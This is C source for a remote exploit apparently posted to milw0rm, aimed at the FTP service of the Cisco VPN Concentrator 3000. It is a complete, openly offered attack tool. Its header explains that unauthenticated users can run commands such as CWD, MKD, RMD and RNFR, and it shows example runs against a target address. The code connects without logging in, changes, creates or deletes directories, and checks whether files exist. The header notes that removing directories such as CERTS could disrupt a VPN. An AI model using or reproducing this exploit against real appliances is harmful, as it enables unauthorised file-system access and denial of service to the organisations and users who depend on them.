/* Cisco VPN Concentrator 3000 FTP remote exploit * ============================================== * A vulnerability exists in the Cisco VPN Concentrator 3000, * an unauthenticated user may access the file system through * manipulation of FTP service commands. An unauthenticated * user can use the following commands; * * CWD - Change the current working directory * MKD - Make a directory within the current working directory * CDUP - Change directory up one tree. * RNFR - Rename From (This can be used to identify files and directories) * SIZE - This can be used to identify files and directories * RMD - This can be used to delete a directory * * The FTP service remembers the current working directory so directory * changes can affect exploitation. By removing potentially sensitive * directories such as "CERTS" it may be possible to disrupt service * to a VPN. * * Confirmed Vulnerable * + Cisco Systems Inc./VPN 3000 concentrator Version 4.1.5 RelJun 18 2004 * * Example. * localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -c / * [ Cisco VPN Concentrator 3000 FTP service exploit * [ Connected to 10.1.2.10 (21/tcp) * [ Changing directory to / * [ Success! changed directory to / * localhost exploits # ./prdelka-vs-CISCO-vpnftp -s 10.1.2.10 -t config * [ Cisco VPN Concentrator 3000 FTP service exploit * [ Connected to 10.1.2.10 (21/tcp) * [ Testing for the existance of config * [ Success! file config does exist! * * * - prdelka */ #include #include #include #include #include #include #include #include #include #include int main (int argc, char *argv[]){ int ihost=0,index=0,imkdir=0,ichdir=0,idelete=0,itest=0,ipass=0,port=21; int c, sd, rc, size; char *host, *directory, *file, *buffer, *rbuffer; struct sockaddr_in servAddr; struct hostent *h; static struct option options[]={ {"server", 1, 0, 's'}, {"port", 1, 0, 'p'}, {"rmdir", 1, 0, 'r'}, {"mkdir", 1, 0, 'm'}, {"chdir", 1, 0, 'c'}, {"test", 1, 0, 't'}, {"help", 0, 0,'h'} }; printf("[ Cisco VPN Concentrator 3000 FTP service exploit\n"); while(c != -1){ c = getopt_long(argc,argv,"s:p:r:m:c:t:h",options,&index); switch(c){ case 's': if(ihost==0){ h = gethostbyname(optarg); if(h==NULL){ printf("[ Error unknown host '%s'\n",optarg); exit(1); } host = malloc(strlen(optarg) + 1); sprintf(host,"%s",optarg); ihost = 1; } break; case 'p': port = atoi(optarg); break; case 'r': if(idelete==0){ if(ipass!=1){ ipass = 1; idelete = 1; directory = optarg; } else{ printf("[ Error: cannot delete directory as another option already selected\n"); exit(1); } } break; case 'c': if(ichdir==0){ if(ipass!=1){ ipass = 1; ichdir = 1; directory = optarg; } else{ printf("[ Error: cannot change dir as another option already selected\n"); exit(2); } } break; case 't': if(itest==0){ if(ipass!=1){ ipass = 1; itest = 1; file = optarg; } else{ printf("[ Error: cannot test for existance as another option already selected\n"); exit(3); } } break; case 'm': if(imkdir==0){ if(ipass!=1){ ipass = 1; imkdir = 1; directory = optarg; } else{ printf("[ Error: cannot make directory as another option already selected\n"); exit(4); } } break; case 'h': printf("[ Usage instructions.\n[\n"); printf("[ %s (optional)\n[\n",argv[0]); printf("[\t--server|-s \n[\t--port|-p (port) [default 21]\n[\t--rmdir|-r (directory)\n[\t--mkdir|-m (directory)\n"); printf("[\t--chdir|-c (directory)\n[\t--test|-t (filename/directory)\n[\n"); exit(0); break; default: break; } } if(ihost != 1 || ipass != 1){ printf("[ Error insufficient arguements, try running '%s --help'\n",argv[0]); exit(1); } servAddr.sin_family = h->h_addrtype; memcpy((char *) &servAddr.sin_addr.s_addr, h->h_addr_list[0], h->h_length); servAddr.sin_port = htons(port); sd = socket(AF_INET, SOCK_STREAM, 0); if(sd<0){ printf("[ Cannot open socket\n"); exit(1); } rc = connect(sd, (struct sockaddr *) &servAddr, sizeof(servAddr)); if(rc<0){ printf("[ Cannot connect\n"); exit(1); } printf("[ Connected to %s (%d/tcp)\n",host,port); rbuffer = malloc(1024); if(ichdir==1){ printf("[ Changing directory to %s\n",directory); size = 2048 + strlen(directory); buffer = malloc(size); sprintf(buffer,"CWD %s\r\n",directory); rc = send(sd, buffer, strlen(buffer),0); while((rc = recv(sd, rbuffer,1023,0)) != -1){ rbuffer[rc]=0; if(strstr(rbuffer,"250 Changed to .") != NULL){ printf("[ Success! changed directory to %s\n",directory); break; } if(strstr(rbuffer,"530 Can't change directory to") != NULL){ printf("[ Error! cannot set current directory to %s\n",directory); exit(-1); } } } if(imkdir==1){ printf("[ Making directory %s\n",directory); size = 2048 + strlen(directory); buffer = malloc(size); sprintf(buffer,"MKD %s\r\n",directory); rc = send(sd, buffer, strlen(buffer),0); while((rc = recv(sd, rbuffer,1023,0)) != -1){ rbuffer[rc]=0; if(strstr(rbuffer,"257 MKD command successful.") != NULL){ printf("[ Success! directory %s created\n",directory); break; } } } if(idelete==1){ printf("[ Deleting directory %s\n",directory); size = 2048 + strlen(directory); buffer = malloc(size); sprintf(buffer,"RMD %s\r\n",directory); rc = send(sd, buffer, strlen(buffer),0); while((rc = recv(sd, rbuffer,1023,0)) != -1){ rbuffer[rc]=0; if(strstr(rbuffer,"250 RMD command successful.") != NULL){ printf("[ Success! directory %s deleted\n",directory); break; } } } if(itest==1){ printf("[ Testing for the existance of %s\n",file); size = 2048 + strlen(file); buffer = malloc(size); sprintf(buffer,"RNFR %s\r\n",file); rc = send(sd, buffer,strlen(buffer),0); while((rc = recv(sd, rbuffer,1023,0)) != -1){ rbuffer[rc]=0; if(strstr(rbuffer,"350 RNFR accepted - file exists, ready for destination.") != NULL){ printf("[ Success! %s does exist!\n",file); break; } if(strstr(rbuffer,"550 File does not exist!") != NULL){ printf("[ Success! %s does not exist\n",file); break; } } } exit(0); } // milw0rm.com [2006-10-24]